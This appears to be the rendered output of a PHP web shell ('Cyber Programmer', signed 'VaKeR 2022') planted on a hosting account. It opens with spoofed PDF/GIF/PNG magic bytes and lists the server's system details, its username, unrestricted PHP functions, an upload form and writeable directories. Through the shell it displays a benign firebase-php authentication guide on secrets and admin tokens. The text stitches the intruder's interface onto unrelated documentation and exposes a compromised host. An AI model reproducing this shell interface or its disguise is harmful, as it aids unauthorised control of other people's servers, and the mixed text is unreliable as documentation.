%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6ca89795/vendor/kreait/firebase-php/doc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6ca89795/vendor/kreait/firebase-php/doc/authentication.md
# Authenticating requests to a Firebase app

To authenticate the requests to a Firebase app, you have to provide your firebase secret:

```php
use Kreait\Firebase\Configuration;
use Kreait\Firebase\Firebase;

$config = new Configuration();
$config->setFirebaseSecret('xxx');

$firebase = new Firebase('https://myapp.firebaseio.com', $config);
```

If you then want to start authenticating requests, you can do it by generating tokens:
 
```php
use Kreait\Firebase\Configuration;
use Kreait\Firebase\Firebase;

$config = new Configuration();
$config->setFirebaseSecret('xxx');

$firebase = new Firebase('https://myapp.firebaseio.com', $config);

$tokenGenerator = $firebase->getConfiguration()->getAuthTokenGenerator();

$customToken    = $tokenGenerator->createToken('12345', 'custom');
$anonymousToken = $tokenGenerator->createAnonymousToken();
$adminToken     = $tokenGenerator->createAdminToken();


$firebase->setAuthToken($adminToken);

// Perform some authenticated requests

$firebase->removeAuthToken();
```

VaKeR 2022